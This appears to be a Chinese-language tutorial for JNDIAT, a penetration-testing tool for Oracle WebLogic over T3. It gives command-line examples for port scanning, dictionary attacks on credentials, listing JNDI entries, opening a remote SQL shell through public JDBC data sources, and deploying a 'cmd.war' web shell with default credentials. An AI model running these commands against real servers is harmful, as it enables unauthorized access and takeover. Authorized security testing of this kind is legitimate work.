JNDIAT(JNDI攻擊工具)是一款開源的通過(guò)T3協(xié)議測(cè)試Weblogic server安全性的工具。
JNDIAT使用示例:
搜索是否有可通過(guò)T3協(xié)議訪問(wèn)的Weblogic端口;
遠(yuǎn)程搜索有效帳戶以獲取特權(quán)連接;
列出可訪問(wèn)的JNDI(Java命名和目錄接口),以了解你在遠(yuǎn)程Weblogic server上可以做執(zhí)行的操作(無(wú)需/使用WebLogic帳戶);
使用不受保護(hù)的(即“public”)JDBC數(shù)據(jù)源,來(lái)獲取遠(yuǎn)程交互式SQL shell;
在Weblogic server上部署應(yīng)用(例如War)以獲取Web shell(需要帳戶)。
*已在Oracle Weblogic 11上進(jìn)行測(cè)試。
特性
同時(shí)支持T3和T3(T3 over SSL)連接。JNDIAT會(huì)創(chuàng)建一個(gè)本地臨時(shí)Java KeyStore來(lái)驗(yàn)證Weblogic server的證書;
支持使用空憑證進(jìn)行身份驗(yàn)證,即login=” and password=”。 默認(rèn)情況下,在Weblogic中公共JDBC數(shù)據(jù)源可以與空帳戶一起使用(已在version11上測(cè)試);
如果weblogic在域中,則支持targets;
檢測(cè)可通過(guò)T3協(xié)議訪問(wèn)的端口;
通過(guò)字典攻擊查找有效憑據(jù);
獲取可通過(guò)特定帳戶(或無(wú)帳戶)訪問(wèn)的JNDI列表;
通過(guò)JDBC數(shù)據(jù)源獲取遠(yuǎn)程sql shell;
使用特權(quán)帳戶,你可以在weblogic服務(wù)器上部署應(yīng)用程序獲取Web shell。
使用示例
下載安裝最新版本的jndiat:https://github.com/quentinhardy/jndiat/releases
查看幫助
java -jar Jndiat.jar -h
JNDIAT 版本
java -jar Jndiat.jar --version
端口掃描
該模塊用于掃描可通過(guò)T3(或T3)協(xié)議訪問(wèn)的端口,獲取JNDI列表。
使用7001端口建立一個(gè)T3連接:
java -jar Jndiat.jar scan -s 192.168.56.101 --ports 7001
掃描7001和7002端口:
java -jar Jndiat.jar scan -s 192.168.56.101 --ports '7001,7002'
掃描7001到7010之間的端口:
java -jar Jndiat.jar scan -s 192.168.56.101 --ports '7001-7010'
JNDIs列表
該模塊用于獲取通過(guò)T3協(xié)議可訪問(wèn)的JNDI列表。此模塊非常有用,可以讓你知道某些JNDI是否可以在不進(jìn)行身份驗(yàn)證的情況下訪問(wèn)(例如:“public”JDBC數(shù)據(jù)源)。
獲取192.168.56.101服務(wù)器7001端口可訪問(wèn)的JNDIs:
java -jar Jndiat.jar list -s 192.168.56.101 -p 7001
如果未在命令中指定憑據(jù),則JNDIAT將為我們返回?zé)o需身份驗(yàn)證即可訪問(wèn)的JNDI。如果你知道有效憑據(jù),則可以使用它來(lái)獲取更多的JNDI:
java -jar Jndiat.jar list -s 192.168.56.101 -p 7001 -U username -P password
JDBC數(shù)據(jù)源
此模塊允許你通過(guò)JDBC數(shù)據(jù)源獲取遠(yuǎn)程SQL shell。
從JNDI數(shù)據(jù)源獲取交互式SQL shell:
java -jar Jndiat.jar datasource -s 192.168.56.101 -p 7001 --sql-shell
JNDIAT將會(huì)詢問(wèn)你所使用的JDBC數(shù)據(jù)源。如果你知道數(shù)據(jù)源名稱,則可以進(jìn)行指定:
java -jar Jndiat.jar datasource -s 192.168.56.101 -p 7001 --sql-shell --datasource='jdbc/myDataSource'
部署應(yīng)用
該模塊允許你通過(guò)T3協(xié)議在遠(yuǎn)程Weblogic server中部署應(yīng)用程序(例如.war,.ear)。要使用此模塊,你可能需要有高權(quán)限(一個(gè)帳戶那是必須的)。
以下命令將在遠(yuǎn)程Weblogic server上部署“cmd.war”應(yīng)用:
java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 --deploy --appl-file cmd.war
從遠(yuǎn)程weblogic server取消部署先前的war(’cmd.war’)應(yīng)用:
java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 --undeploy
使用–display-name選項(xiàng)更改weblogic server上部署的應(yīng)用程序名稱:
java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 --deploy --appl-file 'cmd.war' --display-name 'appli-name-displayed'
取消部署名為appli-name-display的特定應(yīng)用程序:
java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 --undeploy --display-name 'appli-name-displayed'
|